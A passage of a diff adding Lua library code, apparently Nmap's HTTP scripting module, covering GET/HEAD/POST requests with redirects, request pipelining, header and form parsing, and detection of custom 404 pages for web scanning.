+ insert_cache(state, response);
+ end
+ u = parse_redirect(host, port, path, response)
+ if ( not(u) ) then
+ break
+ end
+ -- Allow redirect to change scheme (e.g. redirect to https)
+ options.scheme = u.scheme or options.scheme
+ location = location or {}
+ table.insert(location, response.header.location)
+ until( not(redir_check(u)) )
+ response.location = location
+ return response
+end
+
+---Parses a URL and calls <code>http.get</code> with the result. The URL can contain
+-- all the standard fields, protocol://host:port/path
+--
+-- @param u The URL of the host.
+-- @param options [optional] A table that lets the caller control socket timeouts, HTTP headers, and other parameters. For full documentation, see the module documentation (above).
+-- @return A response table, see module documentation for description.
+-- @see http.get
+function get_url( u, options )
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ options = options or {}
+ local parsed = url.parse( u )
+ local port = {}
+
+ port.service = parsed.scheme
+ port.number = parsed.port or get_default_port(parsed.scheme) or 80
+ options.scheme = options.scheme or parsed.scheme
+
+ local path = parsed.path or "/"
+ if parsed.query then
+ path = path .. "?" .. parsed.query
+ end
+
+ return get( parsed.ascii_host or parsed.host, port, path, options )
+end
+
+---Fetches a resource with a HEAD request.
+--
+-- Like <code>get</code>, this is a simple wrapper around
+-- <code>generic_request</code> with response caching. This function also has
+-- support for HTTP redirects. Redirects are followed only if they pass all the
+-- validation rules of the redirect_ok function. This function may be
+-- overridden by supplying a custom function in the <code>redirect_ok</code>
+-- field of the options array. The default function redirects the request if
+-- the destination is:
+-- * Within the same host or domain
+-- * Has the same port number
+-- * Stays within the current scheme
+-- * Does not exceed <code>MAX_REDIRECT_COUNT</code> count of redirects
+--
+-- Caching and redirects can be controlled in the <code>options</code> array,
+-- see module documentation for more information.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket
+-- timeouts, HTTP headers, and other parameters. For full
+-- documentation, see the module documentation (above).
+-- @return A response table, see module documentation for description.
+-- @see http.generic_request
+function head(host, port, path, options)
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ options = options or {}
+ local redir_check = get_redirect_ok(host, port, options)
+ local response, state, location
+ local u = { host = host, port = port, path = path }
+ repeat
+ response, state = lookup_cache("HEAD", u.host, u.port, u.path, options);
+ if response == nil then
+ response = generic_request(u.host, u.port, "HEAD", u.path, options)
+ insert_cache(state, response);
+ end
+ u = parse_redirect(host, port, path, response)
+ if ( not(u) ) then
+ break
+ end
+ -- Allow redirect to change scheme (e.g. redirect to https)
+ options.scheme = u.scheme or options.scheme
+ location = location or {}
+ table.insert(location, response.header.location)
+ until( not(redir_check(u)) )
+ response.location = location
+ return response
+end
+
+---Fetches a resource with a POST request.
+--
+-- Like <code>get</code>, this is a simple wrapper around
+-- <code>generic_request</code> except that postdata is handled properly.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket
+-- timeouts, HTTP headers, and other parameters. For full
+-- documentation, see the module documentation (above).
+-- @param ignored Ignored for backwards compatibility.
+-- @param postdata A string or a table of data to be posted. If a table, the
+-- keys and values must be strings, and they will be encoded
+-- into an application/x-www-form-encoded form submission.
+-- @return A response table, see module documentation for description.
+-- @see http.generic_request
+function post( host, port, path, options, ignored, postdata )
+ if(not(validate_options(options))) then
+ return http_error("Options failed to validate.")
+ end
+ local mod_options = {
+ content = postdata,
+ }
+ table_augment(mod_options, options or {})
+ return generic_request(host, port, "POST", path, mod_options)
+end
+
+-- Deprecated pipeline functions
+function pGet( host, port, path, options, ignored, allReqs )
+ stdnse.debug1("WARNING: pGet() is deprecated. Use pipeline_add() instead.")
+ return pipeline_add(path, options, allReqs, 'GET')
+end
+function pHead( host, port, path, options, ignored, allReqs )
+ stdnse.debug1("WARNING: pHead() is deprecated. Use pipeline_add instead.")
+ return pipeline_add(path, options, allReqs, 'HEAD')
+end
+function addPipeline(host, port, path, options, ignored, allReqs, method)
+ stdnse.debug1("WARNING: addPipeline() is deprecated! Use pipeline_add instead.")
+ return pipeline_add(path, options, allReqs, method)
+end
+function pipeline(host, port, allReqs)
+ stdnse.debug1("WARNING: pipeline() is deprecated. Use pipeline_go() instead.")
+ return pipeline_go(host, port, allReqs)
+end
+
+---Adds a pending request to the HTTP pipeline.
+--
+-- The HTTP pipeline is a set of requests that will all be sent at the same
+-- time, or as close as the server allows. This allows more efficient code,
+-- since requests are automatically buffered and sent simultaneously.
+--
+-- The <code>all_requests</code> argument contains the current list of queued
+-- requests (if this is the first time calling <code>pipeline_add</code>, it
+-- should be <code>nil</code>). After adding the request to end of the queue,
+-- the queue is returned and can be passed to the next
+-- <code>pipeline_add</code> call.
+--
+-- When all requests have been queued, call <code>pipeline_go</code> with the
+-- all_requests table that has been built.
+--
+-- @param path The path to retrieve.
+-- @param options [optional] A table that lets the caller control socket
+-- timeouts, HTTP headers, and other parameters. For full
+-- documentation, see the module documentation (above).
+-- @param all_requests [optional] The current pipeline queue (returned from a
+-- previous <code>add_pipeline</code> call), or nil if it's
+-- the first call.
+-- @param method [optional] The HTTP method ('GET', 'HEAD', 'POST', etc).
+-- Default: 'GET'.
+-- @return Table with the pipeline requests (plus this new one)
+-- @see http.pipeline_go
+function pipeline_add(path, options, all_requests, method)
+ if not validate_options(options) then
+ return nil
+ end
+ options = tableaux.tcopy(options or {})
+ method = method or 'GET'
+ all_requests = all_requests or {}
+ table.insert(all_requests, {method=method, path=path, options=options})
+ return all_requests
+end
+
+---Makes sure that a given header is set to a given value. Any existing values
+-- of this header are removed.
+--
+-- @param headers A table of existing headers or nil.
+-- @param header to set
+-- @param value to set the header to
+-- @return An in-place modified table of headers
+local function force_header (headers, header, value)
+ local headers = headers or {}
+ local header_lc = header:lower()
+ for h in pairs(headers) do
+ if h:lower() == header_lc then
+ headers[h] = nil
+ end
+ end
+ headers[header] = value
+ return headers
+end
+
+local pipeline_comm_opts = {recv_before=false, request_timeout=10000}
+---Performs all queued requests in the all_requests variable (created by the
+-- <code>pipeline_add</code> function).
+--
+-- Returns an array of responses, each of which is a table as defined in the
+-- module documentation above.
+--
+-- @param host The host to connect to.
+-- @param port The port to connect to.
+-- @param all_requests A table with all the previously built pipeline requests
+-- @return A list of responses, in the same order as the requests were queued.
+-- Each response is a table as described in the module documentation.
+-- The response list may be either nil or shorter than expected (up to
+-- and including being completely empty) due to communication issues or
+-- other errors.
+function pipeline_go(host, port, all_requests)
+ local responses = {}
+
+ -- Check for an empty set
+ if (not all_requests or #all_requests == 0) then
+ stdnse.debug1("Warning: empty set of requests passed to http.pipeline_go()")
+ return responses
+ end
+ stdnse.debug1("HTTP pipeline: Total number of requests: %d", #all_requests)
+
+ -- We'll try a first request with keep-alive, just to check if the server
+ -- supports it and how many requests we can send into one socket
+ local req = all_requests[1]
+ req.options.header = force_header(req.options.header, "Connection", "keep-alive")
+ local reqstr = build_request(host, port, req.method, req.path, req.options)
+ local socket, partial, bopt = comm.tryssl(host, port, reqstr, pipeline_comm_opts)
+ if not socket then
+ return nil
+ end
+ local resp
+ resp, partial = next_response(socket, req.method, partial, req.options)
+ if not resp then
+ return responses
+ end
+ table.insert(responses, resp)
+ local connsent = 1
+
+ -- how many requests to send on one connection
+ local connlimit = get_pipeline_limit(resp)
+ -- how many requests should be sent in a single batch
+ local batchlimit = tonumber(stdnse.get_script_args("http.max-pipeline")) or connlimit
+ stdnse.debug3("HTTP pipeline: connlimit=%d, batchlimit=%d", connlimit, batchlimit)
+
+ while #responses < #all_requests do
+ -- reconnect if necessary
+ if connsent >= connlimit or resp.truncated or not socket:get_info() then
+ socket:close()
+ stdnse.debug3("HTTP pipeline: reconnecting")
+ socket:connect(host, port, bopt)
+ if not socket then
+ return nil
+ end
+ socket:set_timeout(10000)
+ partial = ""
+ connsent = 0
+ end
+ if connlimit > connsent + #all_requests - #responses then
+ connlimit = connsent + #all_requests - #responses
+ end
+
+ -- determine the current batch size
+ local batchsize = connlimit - connsent
+ if batchsize > batchlimit then
+ batchsize = batchlimit
+ end
+ stdnse.debug3("HTTP pipeline: batch=%d, conn=%d/%d, resp=%d/%d", batchsize, connsent, connlimit, #responses, #all_requests)
+
+ -- build and send a batch of requests
+ local requests = {}
+ for i = 1, batchsize do
+ local req = all_requests[#responses + i]
+ local connmode = connsent + i < connlimit and "keep-alive" or "close"
+ req.options.header = force_header(req.options.header, "Connection", connmode)
+ table.insert(requests, build_request(host, port, req.method, req.path, req.options))
+ end
+ socket:send(table.concat(requests))
+
+ -- receive batch responses
+ for i = 1, batchsize do
+ local req = all_requests[#responses + 1]
+ resp, partial = next_response(socket, req.method, partial, req.options)
+ if not resp then
+ stdnse.debug3("HTTP pipeline: response[%d]: %s", #responses + 1, partial)
+ connlimit = connsent + i - 1
+ if connlimit == 0 then
+ stdnse.debug1("HTTP pipeline: First request on a new connection failed; giving up.");
+ return responses
+ end
+ stdnse.debug1("HTTP pipeline: Received only %d of %d batch responses.\nDecreasing connection limit to %d.", i - 1, batchsize, connlimit)
+ break
+ end
+ table.insert(responses, resp)
+ if resp.truncated then break end
+ end
+ connsent = connsent + batchsize
+ end
+ socket:close()
+
+ stdnse.debug1("HTTP pipeline: Number of received responses: %d", #responses)
+ return responses
+end
+
+-- Parsing of specific headers. skip_space and the read_* functions return the
+-- byte index following whatever they have just read, or nil on error.
+
+-- Skip whitespace (that has already been folded from LWS). See RFC 2616,
+-- section 2.2, definition of LWS.
+local function skip_space(s, pos)
+ local _
+
+ _, pos = string.find(s, "^[ \t]*", pos)
+
+ return pos + 1
+end
+
+-- See RFC 2616, section 2.2.
+local function read_token(s, pos)
+ local _, token
+
+ pos = skip_space(s, pos)
+ -- 1*<any CHAR except CTLs or separators>. CHAR is only byte values 0-127.
+ _, pos, token = string.find(s, "^([^\0\001-\031()<>@,;:\\\"/?={} \t%[%]\127-\255]+)", pos)
+
+ if token then
+ return pos + 1, token
+ else
+ return nil
+ end
+end
+
+-- See RFC 2616, section 2.2. Here we relax the restriction that TEXT may not
+-- contain CTLs.
+local function read_quoted_string(s, pos)
+ local chars = {}
+
+ if string.sub(s, pos, pos) ~= "\"" then
+ return nil
+ end
+ pos = pos + 1
+ pos = skip_space(s, pos)
+ while pos <= #s and string.sub(s, pos, pos) ~= "\"" do
+ local c
+
+ c = string.sub(s, pos, pos)
+ if c == "\\" then
+ if pos < #s then
+ pos = pos + 1
+ c = string.sub(s, pos, pos)
+ else
+ return nil
+ end
+ end
+
+ chars[#chars + 1] = c
+ pos = pos + 1
+ end
+ if pos > #s or string.sub(s, pos, pos) ~= "\"" then
+ return nil
+ end
+
+ return pos + 1, table.concat(chars)
+end
+
+local function read_token_or_quoted_string(s, pos)
+ pos = skip_space(s, pos)
+ if string.sub(s, pos, pos) == "\"" then
+ return read_quoted_string(s, pos)
+ else
+ return read_token(s, pos)
+ end
+end
+
+--- Create a pattern to find a tag
+--
+-- Case-insensitive search for tags
+-- @param tag The name of the tag to find
+-- @param endtag Boolean true if you are looking for an end tag, otherwise it will look for a start tag
+-- @return A pattern to find the tag
+function tag_pattern(tag, endtag)
+ if endtag then
+ return "</%s*" .. stringaux.ipattern(tag) .. "%f[%s>].->"
+ else
+ return "<%s*" .. stringaux.ipattern(tag) .. "%f[%s/>].->"
+ end
+end
+
+---
+-- Finds forms in html code
+--
+-- returns table of found forms, in plaintext.
+-- @param body A <code>response.body</code> in which to search for forms
+-- @return A list of forms.
+function grab_forms(body)
+ local forms = {}
+ if not body then return forms end
+ local form_start_expr = tag_pattern("form")
+ local form_end_expr = tag_pattern("form", true)
+
+ local form_opening = string.find(body, form_start_expr)
+
+ while form_opening do
+ local form_closing = string.find(body, form_end_expr, form_opening+1)
+ if form_closing == nil then --html code contains errors
+ break
+ end
+ forms[#forms+1] = string.sub(body, form_opening, form_closing-1)
+ if form_closing+1 <= #body then
+ form_opening = string.find(body, form_start_expr, form_closing+1)
+ else
+ break
+ end
+ end
+ return forms
+end
+
+local function get_attr (html, name)
+ local lhtml = html:lower()
+ local lname = name:lower()
+ -- try the attribute-value syntax first
+ local _, pos = lhtml:find('%s' .. lname .. '%s*=%s*[^%s]')
+ if not pos then
+ -- try the empty attribute syntax and, if found,
+ -- return zero-length string as its value; nil otherwise
+ return lhtml:match('[^%s=]%s+' .. lname .. '[%s/>]') and "" or nil
+ end
+ local value
+ _, value = html:match('^([\'"])(.-)%1', pos)
+ if not value then
+ value = html:match('^[^%s<>=\'"`]+', pos)
+ end
+ return slaxml.parser.unescape(value)
+end
+---
+-- Parses a form, that is, finds its action and fields.
+-- @param form A plaintext representation of form
+-- @return A dictionary with keys: <code>action</code>,
+-- <code>method</code> if one is specified, <code>fields</code>
+-- which is a list of fields found in the form each of which has a
+-- <code>name</code> attribute and <code>type</code> if specified.
+function parse_form(form)
+ local parsed = {}
+ local fields = {}
+ local form_action = get_attr(form, "action")
+ if form_action then
+ parsed["action"] = form_action
+ end
+
+ -- determine if the form is using get or post
+ local form_method = get_attr(form, "method")
+ if form_method then
+ parsed["method"] = string.lower(form_method)
+ end
+
+ -- get the id of the form
+ local form_id = get_attr(form, "id")
+ if form_id then
+ parsed["id"] = string.lower(form_id)
+ end
+
+ -- now identify the fields
+ local input_type
+ local input_name
+ local input_value
+
+ -- first find regular inputs
+ for f in string.gmatch(form, tag_pattern("input")) do
+ input_type = get_attr(f, "type")
+ input_name = get_attr(f, "name")
+ input_value = get_attr(f, "value")
+ local next_field_index = #fields+1
+ if input_name then
+ fields[next_field_index] = {}
+ fields[next_field_index]["name"] = input_name
+ if input_type then
+ fields[next_field_index]["type"] = string.lower(input_type)
+ end
+ if input_value then
+ fields[next_field_index]["value"] = input_value
+ end
+ end
+ end
+
+ -- now search for textareas
+ for f in string.gmatch(form, tag_pattern("textarea")) do
+ input_name = get_attr(f, "name")
+ local next_field_index = #fields+1
+ if input_name then
+ fields[next_field_index] = {}
+ fields[next_field_index]["name"] = input_name
+ fields[next_field_index]["type"] = "textarea"
+ end
+ end
+ parsed["fields"] = fields
+ return parsed
+end
+
+local MONTH_MAP = {
+ Jan = 1, Feb = 2, Mar = 3, Apr = 4, May = 5, Jun = 6,
+ Jul = 7, Aug = 8, Sep = 9, Oct = 10, Nov = 11, Dec = 12
+}
+
+--- Parses an HTTP date string
+--
+-- Supports any of the following formats from section 3.3.1 of RFC 2616:
+-- * Sun, 06 Nov 1994 08:49:37 GMT (RFC 822, updated by RFC 1123)
+-- * Sunday, 06-Nov-94 08:49:37 GMT (RFC 850, obsoleted by RFC 1036)
+-- * Sun Nov 6 08:49:37 1994 (ANSI C's <code>asctime()</code> format)
+-- @param s the date string.
+-- @return a table with keys <code>year</code>, <code>month</code>,
+-- <code>day</code>, <code>hour</code>, <code>min</code>, <code>sec</code>, and
+-- <code>isdst</code>, relative to GMT, suitable for input to
+-- <code>os.time</code>.
+function parse_date(s)
+ local day, month, year, hour, min, sec, tz, month_name
+
+ -- Handle RFC 1123 and 1036 at once.
+ day, month_name, year, hour, min, sec, tz = s:match("^%w+, (%d+)[- ](%w+)[- ](%d+) (%d+):(%d+):(%d+) (%w+)$")
+ if not day then
+ month_name, day, hour, min, sec, year = s:match("%w+ (%w+) ?(%d+) (%d+):(%d+):(%d+) (%d+)")
+ tz = "GMT"
+ end
+ if not day then
+ stdnse.debug1("http.parse_date: can't parse date \"%s\": unknown format.", s)
+ return nil
+ end
+ -- Look up the numeric code for month.
+ month = MONTH_MAP[month_name]
+ if not month then
+ stdnse.debug1("http.parse_date: unknown month name \"%s\".", month_name)
+ return nil
+ end
+ if tz ~= "GMT" then
+ stdnse.debug1("http.parse_date: don't know time zone \"%s\", only \"GMT\".", tz)
+ return nil
+ end
+ day = tonumber(day)
+ year = tonumber(year)
+ hour = tonumber(hour)
+ min = tonumber(min)
+ sec = tonumber(sec)
+
+ if year < 100 then
+ -- Two-digit year. Make a guess.
+ if year < 70 then
+ year = year + 2000
+ else
+ year = year + 1900
+ end
+ end
+
+ return { year = year, month = month, day = day, hour = hour, min = min, sec = sec, isdst = false }
+end
+
+-- See RFC 2617, section 1.2. This function returns a table with keys "scheme"
+-- and "params".
+local function read_auth_challenge(s, pos)
+ local scheme, params
+
+ pos, scheme = read_token(s, pos)
+ if not scheme then
+ return nil
+ end
+
+ params = {}
+ pos = skip_space(s, pos)
+ while pos < #s do
+ local name, val
+ local tmp_pos
+
+ -- We need to peek ahead at this point. It's possible that we've hit the
+ -- end of one challenge and the beginning of another. Section 14.33 says
+ -- that the header value can be 1#challenge, in other words several
+ -- challenges separated by commas. Because the auth-params are also
+ -- separated by commas, the only way we can tell is if we find a token not
+ -- followed by an equals sign.
+ tmp_pos = pos
+ tmp_pos, name = read_token(s, tmp_pos)
+ if not name then
+ pos = skip_space(s, pos + 1)
+ return pos, { scheme = scheme, params = nil }
+ end
+ tmp_pos = skip_space(s, tmp_pos)
+ if string.sub(s, tmp_pos, tmp_pos) ~= "=" then
+ -- No equals sign, must be the beginning of another challenge.
+ break
+ end
+ tmp_pos = tmp_pos + 1
+
+ pos = tmp_pos
+ pos, val = read_token_or_quoted_string(s, pos)
+ if not val then
+ return nil
+ end
+ if params[name] then
+ return nil
+ end
+ params[name] = val
+ pos = skip_space(s, pos)
+ if string.sub(s, pos, pos) == "," then
+ pos = skip_space(s, pos + 1)
+ if pos > #s then
+ return nil
+ end
+ end
+ end
+
+ return pos, { scheme = scheme, params = params }
+end
+
+---Parses the WWW-Authenticate header as described in RFC 2616, section 14.47
+-- and RFC 2617, section 1.2.
+--
+-- The return value is an array of challenges. Each challenge is a table with
+-- the keys <code>scheme</code> and <code>params</code>.
+-- @param s The header value text.
+-- @return An array of challenges, or <code>nil</code> on error.
+function parse_www_authenticate(s)
+ local challenges = {}
+ local pos
+
+ pos = 1
+ while pos <= #s do
+ local challenge
+
+ pos, challenge = read_auth_challenge(s, pos)
+ if not challenge then
+ return nil
+ end
+ challenges[#challenges + 1] = challenge
+ end
+
+ return challenges
+end
+
+
+---Take the data returned from a HTTP request and return the status string.
+-- Useful for <code>stdnse.debug</code> messages and even advanced output.
+--
+-- @param data The response table from any HTTP request
+-- @return The best status string we could find: either the actual status string, the status code, or <code>"<unknown status>"</code>.
+function get_status_string(data)
+ -- Make sure we have valid data
+ if(data == nil) then
+ return "<unknown status>"
+ elseif(data['status-line'] == nil) then
+ if(data['status'] ~= nil) then
+ return data['status']
+ end
+
+ return "<unknown status>"
+ end
+
+ -- We basically want everything after the space
+ local space = string.find(data['status-line'], ' ')
+ if(space == nil) then
+ return data['status-line']
+ else
+ return (string.sub(data['status-line'], space + 1)):gsub('\r?\n', '')
+ end
+end
+
+---Determine whether or not the server supports HEAD.
+--
+-- Tests by requesting / and verifying that it returns 200, and doesn't return
+-- data. We implement the check like this because can't always rely on OPTIONS
+-- to tell the truth.
+--
+-- Note: If <code>identify_404</code> returns a 200 status, HEAD requests
+-- should be disabled. Sometimes, servers use a 200 status code with a message
+-- explaining that the page wasn't found. In this case, to actually identify
+-- a 404 page, we need the full body that a HEAD request doesn't supply.
+-- This is determined automatically if the <code>result_404</code> field is
+-- set.
+--
+-- @param host The host object.
+-- @param port The port to use.
+-- @param result_404 [optional] The result when an unknown page is requested.
+-- This is returned by <code>identify_404</code>. If the 404
+-- page returns a 200 code, then we disable HEAD requests.
+-- @param path The path to request; by default, / is used.
+-- @return A boolean value: true if HEAD is usable, false otherwise.
+-- @return If HEAD is usable, the result of the HEAD request is returned (so
+-- potentially, a script can avoid an extra call to HEAD)
+function can_use_head(host, port, result_404, path)
+ -- If the 404 result is 200, don't use HEAD.
+ if(result_404 == 200) then
+ return false
+ end
+
+ -- Default path
+ if(path == nil) then
+ path = '/'
+ end
+
+ -- Perform a HEAD request and see what happens.
+ local data = head( host, port, path )
+ if data then
+ if data.status and data.status == 302 and data.header and data.header.location then
+ stdnse.debug1("HTTP: Warning: Host returned 302 and not 200 when performing HEAD.")
+ return false
+ end
+
+ if data.status and data.status == 200 and data.header then
+ -- check that a body wasn't returned
+ if #data.body > 0 then
+ stdnse.debug1("HTTP: Warning: Host returned data when performing HEAD.")
+ return false
+ end
+
+ stdnse.debug1("HTTP: Host supports HEAD.")
+ return true, data
+ end
+
+ stdnse.debug1("HTTP: Didn't receive expected response to HEAD request (got %s).", get_status_string(data))
+ return false
+ end
+
+ stdnse.debug1("HTTP: HEAD request completely failed.")
+ return false
+end
+
+--- Try to remove anything that might change within a 404.
+--
+-- For example:
+-- * A file path (includes URI)
+-- * A time
+-- * A date
+-- * An execution time (numbers in general, really)
+--
+-- The intention is that two 404 pages from different URIs and taken hours
+-- apart should, whenever possible, look the same.
+--
+-- During this function, we're likely going to over-trim things. This is fine
+-- -- we want enough to match on that it'll a) be unique, and b) have the best
+-- chance of not changing. Even if we remove bits and pieces from the file, as
+-- long as it isn't a significant amount, it'll remain unique.
+--
+-- One case this doesn't cover is if the server generates a random haiku for
+-- the user.
+--
+-- @param body The body of the page.
+function clean_404(body)
+ if ( not(body) ) then
+ return
+ end
+
+ -- Remove anything that looks like time
+ body = string.gsub(body, '%d?%d:%d%d:%d%d', "")
+ body = string.gsub(body, '%d%d:%d%d', "")
+ body = string.gsub(body, 'AM', "")
+ body = string.gsub(body, 'am', "")
+ body = string.gsub(body, 'PM', "")
+ body = string.gsub(body, 'pm', "")
+
+ -- Remove anything that looks like a date (this includes 6 and 8 digit numbers)
+ -- (this is probably unnecessary, but it's getting pretty close to 11:59 right now, so you never know!)
+ body = string.gsub(body, '%d%d%d%d%d%d%d%d', "") -- 4-digit year (has to go first, because it overlaps 2-digit year)
+ body = string.gsub(body, '%d%d%d%d%-%d%d%-%d%d', "")
+ body = string.gsub(body, '%d%d%d%d/%d%d/%d%d', "")
+ body = string.gsub(body, '%d%d%-%d%d%-%d%d%d%d', "")
+ body = string.gsub(body, '%d%d%/%d%d%/%d%d%d%d', "")
+
+ body = string.gsub(body, '%d%d%d%d%d%d', "") -- 2-digit year
+ body = string.gsub(body, '%d%d%-%d%d%-%d%d', "")
+ body = string.gsub(body, '%d%d%/%d%d%/%d%d', "")
+
+ -- Remove anything that looks like a path (note: this will get the URI too) (note2: this interferes with the date removal above, so it can't be moved up)
+ body = string.gsub(body, "/[^ ]+", "") -- Unix - remove everything from a slash till the next space
+ body = string.gsub(body, "[a-zA-Z]:\\[^ ]+", "") -- Windows - remove everything from a "x:\" pattern till the next space
+
+ -- If we have SSL available, save us a lot of memory by hashing the page (if SSL isn't available, this will work fine, but
+ -- take up more memory). If we're debugging, don't hash (it makes things far harder to debug).
+ if(have_ssl and nmap.debugging() == 0) then
+ return openssl.md5(body)
+ end
+
+ return body
+end
+
+local function cache_404_response(host, port, response)
+ if type(host) == "table" and host.registry then
+ host.registry.http_404 = host.registry.http_404 or {}
+ local portnum = port
+ if type(port) == "table" then
+ portnum = port.number
+ end
+ host.registry.http_404[portnum] = response
+ end
+ return table.unpack(response)
+end
+
+local bad_responses = { 301, 302, 400, 401, 403, 499, 501, 503 }
+local identify_404_get_opts = {redirect_ok=false}
+local identify_404_cache_404 = {true, 404}
+local identify_404_cache_unknown = {false,
+ "Two known 404 pages returned valid and different pages; unable to identify valid response."
+}
+local identify_404_cache_unknown_folder = {false,
+ "Two known 404 pages returned valid and different pages; unable to identify valid response (happened when checking a folder)."
+}
+local identify_404_cache_200 = {true, 200}
+---Try requesting a non-existent file to determine how the server responds to
+-- unknown pages ("404 pages")
+--
+-- This tells us
+-- * what to expect when a non-existent page is requested, and
+-- * if the server will be impossible to scan.
+--
+-- If the server responds with a 404 status code, as it is supposed to, then
+-- this function simply returns 404. If it contains one of a series of common
+-- status codes, including unauthorized, moved, and others, it is returned like
+-- a 404.
+--
+-- I (Ron Bowes) have observed one host that responds differently for three
+-- scenarios:
+-- * A non-existent page, all lowercase (a login page)
+-- * A non-existent page, with uppercase (a weird error page that says,
+-- "Filesystem is corrupt.")
+-- * A page in a non-existent directory (a login page with different font
+-- colours)
+--
+-- As a result, I've devised three different 404 tests, one to check each of
+-- these conditions. They all have to match, the tests can proceed; if any of
+-- them are different, we can't check 404s properly.
+--
+-- @param host The host object.
+-- @param port The port to which we are establishing the connection.
+-- @return status Did we succeed?
+-- @return result If status is false, result is an error message. Otherwise,
+-- it's the code to expect (typically, but not necessarily,
+-- '404').
+-- @return body Body is a hash of the cleaned-up body that can be used when
+-- detecting a 404 page that doesn't return a 404 error code.
+function identify_404(host, port)
+ if type(host) == "table" and host.registry and host.registry.http_404 then
+ local portnum = port
+ if type(port) == "table" then
+ portnum = port.number
+ end
+ local result = host.registry.http_404[portnum]
+ if result then
+ return table.unpack(result)
+ end
+ end
+ local data
+
+ -- The URLs used to check 404s
+ local URL_404_1 = '/nmaplowercheck' .. os.time(os.date('*t'))
+ local URL_404_2 = '/NmapUpperCheck' .. os.time(os.date('*t'))
+ local URL_404_3 = '/Nmap/folder/check' .. os.time(os.date('*t'))
+
+ data = get(host, port, URL_404_1, identify_404_get_opts)
+ if(data == nil) then
+ stdnse.debug1("HTTP: Failed while testing for 404 status code")
+ -- do not cache; maybe it will work next time?
+ return false, "Failed while testing for 404 error message"
+ end
+
+ if(data.status and data.status == 404) then
+ stdnse.debug1("HTTP: Host returns proper 404 result.")
+ return cache_404_response(host, port, identify_404_cache_404)
+ end
+
+ if(data.status and data.status == 200) then
+ stdnse.debug1("HTTP: Host returns 200 instead of 404.")
+
+ -- Clean up the body (for example, remove the URI). This makes it easier to validate later
+ if(data.body) then
+ -- Obtain a couple more 404 pages to test different conditions
+ local data2 = get(host, port, URL_404_2)
+ local data3 = get(host, port, URL_404_3)
+ if(data2 == nil or data3 == nil) then
+ stdnse.debug1("HTTP: Failed while testing for extra 404 error messages")
+ -- do not cache; maybe it will work next time?
+ return false, "Failed while testing for extra 404 error messages"
+ end
+
+ -- Check if the return code became something other than 200.
+ -- Status code: -1 represents unknown.
+ -- If the status is nil or the string "unknown" we switch to -1.
+ if(data2.status ~= 200) then
+ if(type(data2.status) ~= "number") then
+ data2.status = -1
+ end
+ stdnse.debug1("HTTP: HTTP 404 status changed for second request (became %d).", data2.status)
+ return cache_404_response(host, port, {false,
+ string.format("HTTP 404 status changed for second request (became %d).", data2.status)
+ })
+ end
+
+ -- Check if the return code became something other than 200
+ if(data3.status ~= 200) then
+ if(type(data3.status) ~= "number") then
+ data3.status = -1
+ end
+ stdnse.debug1("HTTP: HTTP 404 status changed for third request (became %d).", data3.status)
+ return cache_404_response(host, port, {false,
+ string.format("HTTP 404 status changed for third request (became %d).", data3.status)
+ })
+ end
+
+ -- Check if the returned bodies (once cleaned up) matches the first returned body
+ local clean_body = clean_404(data.body)
+ local clean_body2 = clean_404(data2.body)
+ local clean_body3 = clean_404(data3.body)
+ if(clean_body ~= clean_body2) then
+ stdnse.debug1("HTTP: Two known 404 pages returned valid and different pages; unable to identify valid response.")
+ stdnse.debug1("HTTP: If you investigate the server and it's possible to clean up the pages, please post to nmap-dev mailing list.")
+ return cache_404_response(host, port, identify_404_cache_unknown)
+ end
+
+ if(clean_body ~= clean_body3) then
+ stdnse.debug1("HTTP: Two known 404 pages returned valid and different pages; unable to identify valid response (happened when checking a folder).")
+ stdnse.debug1("HTTP: If you investigate the server and it's possible to clean up the pages, please post to nmap-dev mailing list.")
+ return cache_404_response(host, port, identify_404_cache_unknown_folder)
+ end
+
+ cache_404_response(host, port, {true, 200, clean_body})
+ return true, 200, clean_body
+ end
+
+ stdnse.debug1("HTTP: The 200 response didn't contain a body.")
+ return cache_404_response(host, port, identify_404_cache_200)
+ end
+
+ -- Loop through any expected error codes
+ for _,code in pairs(bad_responses) do
+ if(data.status and data.status == code) then
+ stdnse.debug1("HTTP: Host returns %s instead of 404 File Not Found.", get_status_string(data))
+ return cache_404_response(host, port, {true, code})
+ end
+ end
+
+ stdnse.debug1("Unexpected response returned for 404 check: %s", get_status_string(data))
+
+ return cache_404_response(host, port, {true, data.status})
+end
+
+--- Determine whether or not the page that was returned is a 404 page.
+--
+-- This is actually a pretty simple function, but it's best to keep this logic
+-- close to <code>identify_404</code>, since they will generally be used
+-- together.
+--
+-- @param data The data returned by the HTTP request
+-- @param result_404 The status code to expect for non-existent pages. This is
+-- returned by <code>identify_404</code>.
+-- @param known_404 The 404 page itself, if <code>result_404</code> is 200. If
+-- <code>result_404</code> is something else, this parameter
+-- is ignored and can be set to <code>nil</code>. This is
+-- returned by <code>identify_404</code>.
+-- @param page The page being requested (used in error messages).
+-- @param displayall [optional] If set to true, don't exclude non-404 errors
+-- (such as 500).
+-- @return A boolean value: true if the page appears to exist, and false if it
+-- does not.
+function page_exists(data, result_404, known_404, page, displayall)
+ if(data and data.status) then
+ -- Handle the most complicated case first: the "200 Ok" response
+ if(data.status == 200) then
+ if(result_404 == 200) then
+ -- If the 404 response is also "200", deal with it (check if the body matches)
+ if(#data.body == 0) then
+ -- I observed one server that returned a blank string instead of an error, on some occasions
+ stdnse.debug1("HTTP: Page returned a totally empty body; page likely doesn't exist")
+ return false
+ elseif(clean_404(data.body) ~= known_404) then
+ stdnse.debug1("HTTP: Page returned a body that doesn't match known 404 body, therefore it exists (%s)", page)
+ return true
+ else
+ return false
+ end
+ else
+ -- If 404s return something other than 200, and we got a 200, we're good to go
+ stdnse.debug1("HTTP: Page was '%s', it exists! (%s)", get_status_string(data), page)
+ return true
+ end
+ else
+ -- If the result isn't a 200, check if it's a 404 or returns the same code as a 404 returned
+ if(data.status ~= 404 and data.status ~= result_404) then
+ -- If this check succeeded, then the page isn't a standard 404 -- it could be a redirect, authentication request, etc. Unless the user
+ -- asks for everything (with a script argument), only display 401 Authentication Required here.
+ stdnse.debug1("HTTP: Page didn't match the 404 response (%s) (%s)", get_status_string(data), page)
+
+ if(data.status == 401) then -- "Authentication Required"
+ return true
+ elseif(displayall) then
+ return true
